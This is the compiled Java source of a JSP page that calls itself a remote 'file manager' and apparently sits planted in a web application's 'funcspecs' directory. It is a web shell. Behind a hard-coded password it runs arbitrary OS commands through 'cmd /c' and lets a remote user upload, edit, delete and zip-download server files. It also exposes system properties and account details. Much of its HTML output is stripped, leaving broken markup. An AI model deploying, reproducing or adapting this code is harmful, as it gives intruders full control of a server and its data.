package org.apache.jsp.funcspecs; import javax.servlet.*; import javax.servlet.http.*; import javax.servlet.jsp.*; import java.io.*; import java.util.*; import java.util.zip.*; import java.text.*; public final class _1_jsp extends org.apache.jasper.runtime.HttpJspBase implements org.apache.jasper.runtime.JspSourceDependent { private final static int languageNo = 0; //语言版本,0 : 中文; 1:英文 String password = "testing012";//登录密码 String[] authorInfo = { "", " " }; String[] strFileManage = { "文 件 管 理", "File Management" }; String[] strCommand = { "CMD 命 令", "Command Window" }; String[] strSysProperty = { "系 统 属 性", "System Property" }; String[] zipFolderProperty = { "目录打包下载", "This Folder ZIP" }; String[] strHelp = { "帮 助", "Help" }; String[] strParentFolder = { "上级目录", "Parent Folder" }; String[] strCurrentFolder = { "当前目录", "Current Folder" }; String[] strDrivers = { "盘符", "Drivers" }; String[] strFileName = { "文件名称", "File Name" }; String[] strFileSize = { "文件大小", "File Size" }; String[] strLastModified = { "最后修改", "Last Modified" }; String[] strFileOperation = { "文件操作", "Operations" }; String[] strFileEdit = { "修改", "Edit" }; String[] strFileDown = { "下载", "Download" }; String[] strFileCopy = { "复制", "Move" }; String[] strFileDel = { "删除", "Delete" }; String[] strExecute = { "执行", "Execute" }; String[] strBack = { "返回", "Back" }; String[] strFileSave = { "保存", "Save" }; String[] strCreateFile = { "新建文件", "Create File" }; String[] strCreateFolder = { "新建目录", "Create Folder" }; String[] strUpload = { "上传", "Upload" }; String[] strDelFolder = {"删除目录","Del Folder"}; public static class UploadMonitor { static Hashtable uploadTable = new Hashtable(); static void set(String fName, UplInfo info) { uploadTable.put(fName, info); } static void remove(String fName) { uploadTable.remove(fName); } static UplInfo getInfo(String fName) { UplInfo info = (UplInfo) uploadTable.get(fName); return info; } } public class UplInfo { public long totalSize; public long currSize; public long starttime; public boolean aborted; public UplInfo() { totalSize = 0l; currSize = 0l; starttime = System.currentTimeMillis(); aborted = false; } public UplInfo(int size) { totalSize = size; currSize = 0; starttime = System.currentTimeMillis(); aborted = false; } public String getUprate() { long time = System.currentTimeMillis() - starttime; if (time != 0) { long uprate = currSize * 1000 / time; return convertFileSize(uprate) + "/s"; } else return "n/a"; } public int getPercent() { if (totalSize == 0) return 0; else return (int) (currSize * 100 / totalSize); } public String getTimeElapsed() { long time = (System.currentTimeMillis() - starttime) / 1000l; if (time - 60l >= 0) { if (time % 60 >= 10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time < 10 ? "0" + time + "s" : time + "s"; } public String getTimeEstimated() { if (currSize == 0) return "n/a"; long time = System.currentTimeMillis() - starttime; time = totalSize * time / currSize; time /= 1000l; if (time - 60l >= 0) { if (time % 60 >= 10) return time / 60 + ":" + (time % 60) + "m"; else return time / 60 + ":0" + (time % 60) + "m"; } else return time < 10 ? "0" + time + "s" : time + "s"; } } public class FileInfo { public String name = null, clientFileName = null, fileContentType = null; private byte[] fileContents = null; public File file = null; public StringBuffer sb = new StringBuffer(100); public void setFileContents(byte[] aByteArray) { fileContents = new byte[aByteArray.length]; System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); } } public class HttpMultiPartParser { private final int ONE_MB = 1024 * 1; public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, int clength) throws IllegalArgumentException, IOException { if (is == null) throw new IllegalArgumentException("InputStream"); if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException("\"" + boundary + "\" is an illegal boundary indicator"); boundary = "--" + boundary; StringTokenizer stLine = null, stFields = null; FileInfo fileInfo = null; Hashtable dataTable = new Hashtable(5); String line = null, field = null, paramName = null; boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); boolean isFile = false; if (saveFiles) { // Create the required directory (including parent dirs) File f = new File(saveInDir); f.mkdirs(); } line = getLine(is); if (line == null || !line.startsWith(boundary)) throw new IOException("Boundary not found; boundary = " + boundary + ", line = " + line); while (line != null) { if (line == null || !line.startsWith(boundary)) return dataTable; line = getLine(is); if (line == null) return dataTable; stLine = new StringTokenizer(line, ";\r\n"); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); line = stLine.nextToken().toLowerCase(); if (line.indexOf("form-data") < 0) throw new IllegalArgumentException( "Bad data in second line"); stFields = new StringTokenizer(stLine.nextToken(), "=\""); if (stFields.countTokens() < 2) throw new IllegalArgumentException( "Bad data in second line"); fileInfo = new FileInfo(); stFields.nextToken(); paramName = stFields.nextToken(); isFile = false; if (stLine.hasMoreTokens()) { field = stLine.nextToken(); stFields = new StringTokenizer(field, "=\""); if (stFields.countTokens() > 1) { if (stFields.nextToken().trim().equalsIgnoreCase( "filename")) { fileInfo.name = paramName; String value = stFields.nextToken(); if (value != null && value.trim().length() > 0) { fileInfo.clientFileName = value; isFile = true; } else { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } } else if (field.toLowerCase().indexOf("filename") >= 0) { line = getLine(is); // Skip "Content-Type:" line line = getLine(is); // Skip blank line line = getLine(is); // Skip blank line line = getLine(is); // Position to boundary line continue; } } boolean skipBlankLine = true; if (isFile) { line = getLine(is); if (line == null) return dataTable; if (line.trim().length() < 1) skipBlankLine = false; else { stLine = new StringTokenizer(line, ": "); if (stLine.countTokens() < 2) throw new IllegalArgumentException( "Bad data in third line"); stLine.nextToken(); // Content-Type fileInfo.fileContentType = stLine.nextToken(); } } if (skipBlankLine) { line = getLine(is); if (line == null) return dataTable; } if (!isFile) { line = getLine(is); if (line == null) return dataTable; dataTable.put(paramName, line); // If parameter is dir, change saveInDir to dir if (paramName.equals("dir")) saveInDir = line; line = getLine(is); continue; } try { UplInfo uplInfo = new UplInfo(clength); UploadMonitor.set(fileInfo.clientFileName, uplInfo); OutputStream os = null; String path = null; if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir, fileInfo.clientFileName)); else os = new ByteArrayOutputStream(ONE_MB); boolean readingContent = true; byte previousLine[] = new byte[2 * ONE_MB]; byte temp[] = null; byte currentLine[] = new byte[2 * ONE_MB]; int read, read3; if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { line = null; break; } while (readingContent) { if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { line = null; uplInfo.aborted = true; break; } if (compareBoundary(boundary, currentLine)) { os.write(previousLine, 0, read - 2); line = new String(currentLine, 0, read3); break; } else { os.write(previousLine, 0, read); uplInfo.currSize += read; temp = currentLine; currentLine = previousLine; previousLine = temp; read = read3; }//end else }//end while os.flush(); os.close(); if (!saveFiles) { ByteArrayOutputStream baos = (ByteArrayOutputStream) os; fileInfo.setFileContents(baos.toByteArray()); } else fileInfo.file = new File(path); dataTable.put(paramName, fileInfo); uplInfo.currSize = uplInfo.totalSize; }//end try catch (IOException e) { throw e; } } return dataTable; } private boolean compareBoundary(String boundary, byte ba[]) { if (boundary == null || ba == null) return false; for (int i = 0; i < boundary.length(); i++) if ((byte) boundary.charAt(i) != ba[i]) return false; return true; } private synchronized String getLine(ServletInputStream sis) throws IOException { byte b[] = new byte[1024]; int read = sis.readLine(b, 0, b.length), index; String line = null; if (read != -1) { line = new String(b, 0, read); if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1); } return line; } public String getFileName(String dir, String fileName) throws IllegalArgumentException { String path = null; if (dir == null || fileName == null) throw new IllegalArgumentException("dir or fileName is null"); int index = fileName.lastIndexOf('/'); String name = null; if (index >= 0) name = fileName.substring(index + 1); else name = fileName; index = name.lastIndexOf('\\'); if (index >= 0) fileName = name.substring(index + 1); path = dir + File.separator + fileName; if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); else return path.replace('/', File.separatorChar); } } private String formatPath(String p) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < p.length(); i++) { if (p.charAt(i) == '\\') { sb.append("\\\\"); } else { sb.append(p.charAt(i)); } } return sb.toString(); } private static String conv2Html(int i) { if (i == '&') return "&"; else if (i == '<') return "<"; else if (i == '>') return ">"; else if (i == '"') return """; else return "" + (char) i; } private static String htmlEncode(String st) { StringBuffer buf = new StringBuffer(); for (int i = 0; i < st.length(); i++) { buf.append(conv2Html(st.charAt(i))); } return buf.toString(); } String getDrivers() { StringBuffer sb = new StringBuffer(strDrivers[languageNo] + " : "); File roots[] = File.listRoots(); for (int i = 0; i < roots.length; i++) { sb.append(" "); sb.append(roots[i] + " "); } return sb.toString(); } static String convertFileSize(long filesize) { //bug 5.09M 显示5.9M String strUnit = "Bytes"; String strAfterComma = ""; int intDivisor = 1; if (filesize >= 1024 * 1024) { strUnit = "MB"; intDivisor = 1024 * 1024; } else if (filesize >= 1024) { strUnit = "KB"; intDivisor = 1024; } if (intDivisor == 1) return filesize + " " + strUnit; strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor; if (strAfterComma == "") strAfterComma = ".0"; return filesize / intDivisor + "." + strAfterComma + " " + strUnit; } static class ZipFolder { public static void zipDirectory(String dir, String zipfile) throws IOException, IllegalArgumentException { File d = new File(dir); if (!d.isDirectory()) { throw new IllegalArgumentException("错误,没有找到" + dir + "目录"); } String[] entries = d.list(); byte[] buffer = new byte[4096]; int bytes_read; ZipOutputStream out = new ZipOutputStream(new FileOutputStream( zipfile)); for (int i = 0; i < entries.length; i++) { File f = new File(d, entries[i]); if (f.isDirectory()) continue; FileInputStream in = new FileInputStream(f); ZipEntry entry = new ZipEntry(f.getPath()); out.putNextEntry(entry); while ((bytes_read = in.read(buffer)) != -1) out.write(buffer, 0, bytes_read); in.close(); } out.close(); } } static void delFolder(File dir){ File filelist[]=dir.listFiles(); int listlen=filelist.length; for(int i=0;i\r\n"); sbEdit .append("\r\n"); sbEdit.append("\r\n"); sbEdit.append("\r\n"); sbEdit.append(" "); sbEdit.append("  " + strPath + "\r\n"); sbEdit .append("
"); sbEdit.append(""); sbEdit.append(""); } if (strAction != null && strAction.equals("save")) { File f = new File(strPath); BufferedWriter bw = new BufferedWriter(new OutputStreamWriter( new FileOutputStream(f))); String strContent = request.getParameter("content"); bw.write(strContent); bw.close(); } if (strAction != null && strAction.equals("copy")) { sbCopy .append("
\r\n"); sbCopy .append("\r\n"); sbCopy.append("\r\n"); sbCopy.append("\r\n"); sbCopy.append("原始文件: " + strPath + "

"); sbCopy .append("目标文件:

"); sbCopy.append(" "); sbCopy.append("

 \r\n"); sbCopy.append("

"); } if (strAction != null && strAction.equals("savecopy")) { File f = new File(strPath); String strDesFile = request.getParameter("file2"); if (strDesFile == null || strDesFile.equals("")) { sbSaveCopy.append("

目标文件错误。"); } else { File f_des = new File(strDesFile); if (f_des.isFile()) { sbSaveCopy .append("

目标文件已存在,不能复制。"); } else { String strTmpFile = strDesFile; if (f_des.isDirectory()) { if (!strDesFile.endsWith("\\")) { strDesFile = strDesFile + "\\"; } strTmpFile = strDesFile + "cqq_" + strFile; } File f_des_copy = new File(strTmpFile); FileInputStream in1 = new FileInputStream(f); FileOutputStream out1 = new FileOutputStream(f_des_copy); byte[] buffer = new byte[1024]; int c; while ((c = in1.read(buffer)) != -1) { out1.write(buffer, 0, c); } in1.close(); out1.close(); sbSaveCopy.append("原始文件 :" + strPath + "

"); sbSaveCopy.append("目标文件 :" + strTmpFile + "

"); sbSaveCopy.append("复制成功!"); } } sbSaveCopy .append("

"); } if (strAction != null && strAction.equals("newFile")) { String strF = request.getParameter("fileName"); String strType1 = request.getParameter("btnNewFile"); String strType2 = request.getParameter("btnNewDir"); String strType = ""; if (strType1 == null) { strType = "Dir"; } else if (strType2 == null) { strType = "File"; } if (!strType.equals("") && !(strF == null || strF.equals(""))) { File f_new = new File(strF); if (strType.equals("File") && !f_new.createNewFile()) sbNewFile.append(strF + " 文件创建成功"); if (strType.equals("Dir") && !f_new.mkdirs()) sbNewFile.append(strF + " 目录创建成功"); } else { sbNewFile.append("

建立文件或目录出错。"); } } if (null!=strAction && "delFolder".equals(strAction)){ String folder = request.getParameter("path"); File dir = new File(folder); delFolder(dir); sbDelFolder.append("目录删除成功"); } if (null != strAction && "zipFolder".equals(strAction)) { String inFolder = request.getParameter("path"); String outFolder = request.getParameter("file"); ZipFolder.zipDirectory(inFolder, outFolder); sbZip.append("

目录压缩成功,压缩文件路径为:" + outFolder + "

"); } if ((request.getContentType() != null) && (request.getContentType().toLowerCase() .startsWith("multipart"))) { String tempdir = "."; response.setContentType("text/html"); sbNewFile.append("

建立文件或目录出错。"); HttpMultiPartParser parser = new HttpMultiPartParser(); int bstart = request.getContentType().lastIndexOf("oundary="); String bound = request.getContentType().substring(bstart + 8); int clength = request.getContentLength(); Hashtable ht = parser.processData(request.getInputStream(), bound, tempdir, clength); if (ht.get("cqqUploadFile") != null) { FileInfo fi = (FileInfo) ht.get("cqqUploadFile"); File f1 = fi.file; UplInfo info = UploadMonitor.getInfo(fi.clientFileName); if (info != null && info.aborted) { f1.delete(); request.setAttribute("error", "Upload aborted"); } else { String path = (String) ht.get("path"); if (path != null && !path.endsWith("\\")) path = path + "\\"; if (!f1.renameTo(new File(path + f1.getName()))) { request .setAttribute("error", "Cannot upload file."); f1.delete(); } } } } out.write("\r\n"); out.write("\r\n"); out.write("\t\r\n"); out.write("\t\t\r\n"); out.write("\t\t\r\n"); if (user != null) { out.write("\r\n"); out.write("\r\n"); out.write("\r\n"); } out.write("\r\n"); out.write("\r\n"); out.write("\t\r\n"); out.write("\t\t"); if (user == null) { out.write("\r\n"); out.write("\t\t

\r\n"); out.write("\t\t\t\r\n"); out.write("\t\t\t\t\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t\r\n"); out.write("\t\t\t\t\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t\r\n"); out.write("\t\t\t
登录密码:
\r\n"); out.write("\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t
\r\n"); out.write("\t\t
\r\n"); out.write("\t\t"); } else { out.write("\r\n"); out.write("\t\t
\r\n"); out.write("\t\t \r\n"); out.write("\t\t \r\n"); out.write("\t\t \r\n"); out.write("\t\t \r\n"); out.write("\t\t \r\n"); out.write("\t\t \r\n"); out.write("\t\t
\r\n"); out.write("\t\t\r\n"); out.write("\t\t\r\n"); out.write("\t\t\r\n"); out.write("\t\t"); StringBuffer sbFolder = new StringBuffer(""); StringBuffer sbFile = new StringBuffer(""); try { File objFile = new File(strDir); if(!objFile.exists()){ strDir = strDir.substring(0,strDir.lastIndexOf("\\")); objFile = new File(strDir); } File list[] = objFile.listFiles(); if (objFile.getAbsolutePath().length() > 3) { sbFolder .append(""); sbFolder.append(strParentFolder[languageNo]); sbFolder.append(""); sbFolder.append(" "); sbFolder.append(zipFolderProperty[languageNo]); sbFolder.append(""); sbFolder.append("
"); sbFolder.append("- - - - - - - - - - - \r\n"); } for (int i = 0; i < list.length; i++) { if (list[i].isDirectory()) { sbFolder.append(" "); sbFolder.append(""); sbFolder.append(list[i].getName()+ ""); sbFolder.append(" "); sbFolder.append(strDelFolder[languageNo]+ ""); sbFolder.append("
"); } else { String strLen = ""; String strDT = ""; long lFile = 0; lFile = list[i].length(); strLen = convertFileSize(lFile); java.util.Date dt = new java.util.Date(list[i] .lastModified()); SimpleDateFormat dd = new SimpleDateFormat( "yyyy-MM-dd hh:mm:ss"); strDT = dd.format(dt); sbFile .append(""); sbFile.append("" + list[i].getName()); sbFile.append(""); sbFile.append("" + strLen); sbFile.append(""); sbFile.append("" + strDT); sbFile.append(""); for (int temp = 0; temp < 4; temp++) { String action; String actionName; if (temp == 0) { action = "edit"; actionName = strFileEdit[languageNo]; } else if (temp == 1) { action = "del"; actionName = strFileDel[languageNo]; } else if (temp == 2) { action = "down"; actionName = strFileDown[languageNo]; } else { action = "copy"; actionName = strFileCopy[languageNo]; } ; sbFile .append(" "); sbFile.append(actionName + ""); } sbFile.append(""); } } } catch (Exception e) { out.println("操作失败: " + e.toString() + ""); } out.write("\r\n"); out.write("\t\t
\r\n"); out.write("\t\t\t
\r\n"); out.write("\t\t\t\t"); Properties prop = new Properties(System.getProperties()); out.write("\r\n"); out.write("\t\t\t\t
    \r\n"); out.write("\t\t\t\t\t
  1. JVM版本号:"); out.print(prop.getProperty("java.vm.version")); out.write("
  2. \r\n"); out.write("\t\t\t\t\t
  3. JAVA安装目录:"); out.print(prop.getProperty("java.home")); out.write("
  4. \r\n"); out.write("\t\t\t\t\t
  5. JAVA类路径:"); out.print(prop.getProperty("java.class.path")); out.write("
  6. \r\n"); out.write("\t\t\t\t\t
  7. 用户所属国家:"); out.print(prop.getProperty("user.country")); out.write("
  8. \r\n"); out.write("\t\t\t\t\t
  9. 操作系统:"); out.print(prop.getProperty("os.name")); out.write("
  10. \r\n"); out.write("\t\t\t\t\t
  11. 字符集:"); out.print(prop.getProperty("sun.jnu.encoding")); out.write("
  12. \r\n"); out.write("\t\t\t\t\t
  13. 当前文件绝对路径:"); out.print(application.getRealPath(strThisFile)); out.write("
  14. \r\n"); out.write("\t\t\t\t\t
  15. 当前文件URL路径:"); out.print(request.getRequestURL().toString()); out.write("
  16. \r\n"); out.write("\t\t\t\t\t
  17. 用户当前工作目录:"); out.print(prop.getProperty("user.dir")); out.write("
  18. \r\n"); out.write("\t\t\t\t\t
  19. 用户主目录:"); out.print(prop.getProperty("user.home")); out.write("
  20. \r\n"); out.write("\t\t\t\t\t
  21. 用户账户名称:"); out.print(prop.getProperty("user.name")); out.write("
  22. \r\n"); out.write("\t\t\t\t\t
  23. 内存使用情况:\r\n"); out.write("\t\t\t\t\t\t
      \r\n"); out.write("\t\t\t\t\t\t\t"); long endMem = Runtime.getRuntime().freeMemory(); long total = Runtime.getRuntime().maxMemory(); out.println("
    • Total Memory:" + total + "
    • "); out.println("
    • Start Memory:" + startMem + "
    • "); out.println("
    • End Memory:" + endMem + "
    • "); out.println("
    • Use memory: " + (startMem - endMem) + "
    • "); long endTime = System.currentTimeMillis(); out.println("
    • Use Time: " + (endTime - startTime) + "
    • "); out.write("\r\n"); out.write("\t\t\t\t\t\t
    \r\n"); out.write("\t\t\t\t\t
  24. \r\n"); out.write("\t\t\t\t
\r\n"); out.write("\t\t\t
\r\n"); out.write("\t\t\t
\r\n"); out.write("\t\t\t\t
    \r\n"); out.write("\t\t\t\t\t
  • 功能说明
  • \r\n"); out.write("\t\t\t\t\t\t
      \r\n"); out.write("\t\t\t\t\t\t\t
    1. jsp 版本的文件管理器,通过该程序可以远程管理服务器上的文件系统,您可以新建、修改、删除、下载文件和目录。
    2. \r\n"); out.write("\t\t\t\t\t\t\t
    3. 对于windows系统,还提供了命令行窗口的功能,可以运行一些程序,类似与windows的cmd。
    4. \r\n"); out.write("\t\t\t\t\t\t
    \r\n"); out.write("\t\t\t\t\t
  • 版权说明
  • \r\n"); out.write("\t\t\t\t\t\t
      \r\n"); out.write("\t\t\t\t\t\t\t
    1. \r\n"); out.write("\t\t\t\t\t\t\t
    2. \r\n"); out.write("\t\t\t\t\t\t
    \r\n"); out.write("\t\t\t\t\t
  • 更新记录
  • \r\n"); out.write("\t\t\t\t\t\t
      \r\n"); out.write("\t\t\t\t\t\t\t
    1. 2008.05.16 删除循环获取系统相关属性功能,原因见bug - 骑士
    2. \r\n"); out.write("\t\t\t\t\t\t\t
    3. 2008.05.16 增加对指定目录跳转功能,修改需在文件中指定文件名的操作,自动获取 - 骑士
    4. \r\n"); out.write("\t\t\t\t\t\t\t
    5. 2008.05.15 增加对浏览目录指定打包功能,增加删除目录功能 - 骑士
    6. \r\n"); out.write("\t\t\t\t\t\t\t
    7. 2007.12.27 增加登录验证功能 - 骑士
    8. \r\n"); out.write("\t\t\t\t\t\t\t
    9. 2007.12.26 修改程序部分不推荐使用的方法,增加系统基本属性查看功能,部分代码重写 - 骑士
    10. \r\n"); out.write("\t\t\t\t\t\t\t
    11. 2004.11.15 V0.9测试版发布,增加了一些基本的功能,文件编辑、复制、删除、下载、上传以及新建文件目录功能
    12. \r\n"); out.write("\t\t\t\t\t\t\t
    13. 2004.10.27 暂时定为0.6版吧, 提供了目录文件浏览功能 和 cmd功能
    14. \r\n"); out.write("\t\t\t\t\t\t\t
    15. 2004.09.20 第一个jsp程序就是这个简单的显示目录文件的小程序
    16. \r\n"); out.write("\t\t\t\t\t\t
    \r\n"); out.write("\t\t\t\t\t
  • Bug说明
  • \r\n"); out.write("\t\t\t\t\t\t
      \r\n"); out.write("\t\t\t\t\t\t\t
    1. 当上传文件时,如文件所在项目中使用到Struts相关jar包,会出现异常情况
    2. \r\n"); out.write("\t\t\t\t\t\t\t
    3. 循环列举出系统相关属性时,会抛出异常,此功能已删除(原因不详,在一些机器上会出现,但本机测试无问题),如需加上,相关代码如下:
    4. \r\n"); out.write("\t\t\t\t\t\t\t
      \r\n"); out.write("\t\t\t\t\t\t\t\t<%
      \r\n"); out.write("\t\t\t\t\t\t\t\tProperties props=System.getProperties();
      \r\n"); out.write("\t\t\t\t\t\t\t\tIterator iter=props.keySet().iterator();
      \r\n"); out.write("\t\t\t\t\t\t\t\twhile(iter.hasNext())
      \r\n"); out.write("\t\t\t\t\t\t\t\t{
      \r\n"); out.write("\t\t\t\t\t\t\t\tString key=(String)iter.next();
      \r\n"); out.write("\t\t\t\t\t\t\t\t%>
      \r\n"); out.write("\t\t\t\t\t\t\t\t<li><%=key%>:<%=props.get(key)%></li>
      \r\n"); out.write("\t\t\t\t\t\t\t\t<%}\r\n"); out.write("\t\t\t\t\t\t\t\t%>\r\n"); out.write("\t\t\t\t\t\t\t
      \r\n"); out.write("\t\t\t\t\t\t
    \r\n"); out.write("\t\t\t\t
\r\n"); out.write("\t\t\t
\r\n"); out.write("\t\t\t
\r\n"); out.write("\t\t\t
\r\n"); out.write("\t\t\t\r\n"); out.write("\t\t\t\r\n"); out.write("\t\t\t\r\n"); out.write("\t\t\t\r\n"); out.write("\t\t\t\r\n"); out.write("\t\t\t\t\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t
"); out.print(strCurrentFolder[languageNo]); out.write(":\r\n"); out.write("\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t"); out.print(getDrivers()); out.write("
\r\n"); out.write("\t\t\t
\r\n"); out.write("\t\t\t\t\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t
\r\n"); out.write("\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t"); out.print(sbFolder); out.write("\r\n"); out.write("\t\t\t\t\t\t\t
\r\n"); out.write("\t\t\t\t\t\t
\r\n"); out.write("\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t"); out.print(sbFile); out.write("\r\n"); out.write("\t\t\t\t\t\t\t
"); if (strAction != null && strAction.equals("edit")) { out.println(sbEdit.toString()); } else if (strAction != null && strAction.equals("copy")) { out.println(sbCopy.toString()); } else if (strAction != null && strAction.equals("down")) { out.println(sbDown.toString()); } else if (strAction != null && strAction.equals("savecopy")) { out.println(sbSaveCopy.toString()); } else if (strAction != null && strAction.equals("newFile") && !sbNewFile.toString().equals("")) { out.println(sbNewFile.toString()); } else if( strAction!=null && "zipFolder".equals(strAction)){ out.println(sbZip.toString()); } else { out.println("操作信息提示"); } out.write("
"); out.print(strFileName[languageNo]); out.write(""); out.print(strFileSize[languageNo]); out.write(""); out.print(strLastModified[languageNo]); out.write(""); out.print(strFileOperation[languageNo]); out.write("
\r\n"); out.write("\t\t\t\t\t\t
\r\n"); out.write("\t\t\t\t\t\t\t
\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t"); if (!strDir.endsWith("\\")) strDir = strDir + "\\"; out.write("\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t
\r\n"); out.write("\t\t\t\t\t\t\t
\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\t\t
\r\n"); out.write("\t\t\t\t\t\t
\r\n"); out.write("\t\t\t
\r\n"); out.write("\t\t\t
\r\n"); out.write("\t\t\t\t"); String line = ""; StringBuffer sbCmd = new StringBuffer(""); if (strCmd != null) { try { //out.println(strCmd); Process p = Runtime.getRuntime().exec( "cmd /c " + strCmd); BufferedReader br = new BufferedReader( new InputStreamReader(p.getInputStream())); while ((line = br.readLine()) != null) { sbCmd.append(line + "\r\n"); } } catch (Exception e) { System.out.println(e.toString()); } } else { strCmd = """"; } out.write("\r\n"); out.write("\t\t\t\t
\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t\t\r\n"); out.write("\t\t\t\t
\r\n"); out.write("\t\t\t\t"); if (sbCmd != null && sbCmd.toString().trim().equals("") == false) { out.write("\r\n"); out.write("\t\t\t\t\r\n"); out.write("\t\t\t\t"); } out.write("\r\n"); out.write("\t\t\t
\r\n"); out.write("\t\t
\r\n"); out.write("\t\t"); } out.write("\r\n"); out.write("\t\t
\r\n"); out.write("\t\t\t\r\n"); out.write("\t\t
\r\n"); out.write("\t\r\n"); out.write(""); } catch (Throwable t) { if (!(t instanceof SkipPageException)){ out = _jspx_out; if (out != null && out.getBufferSize() != 0) try { out.clearBuffer(); } catch (java.io.IOException e) {} if (_jspx_page_context != null) _jspx_page_context.handlePageException(t); else log(t.getMessage(), t); } } finally { _jspxFactory.releasePageContext(_jspx_page_context); } } }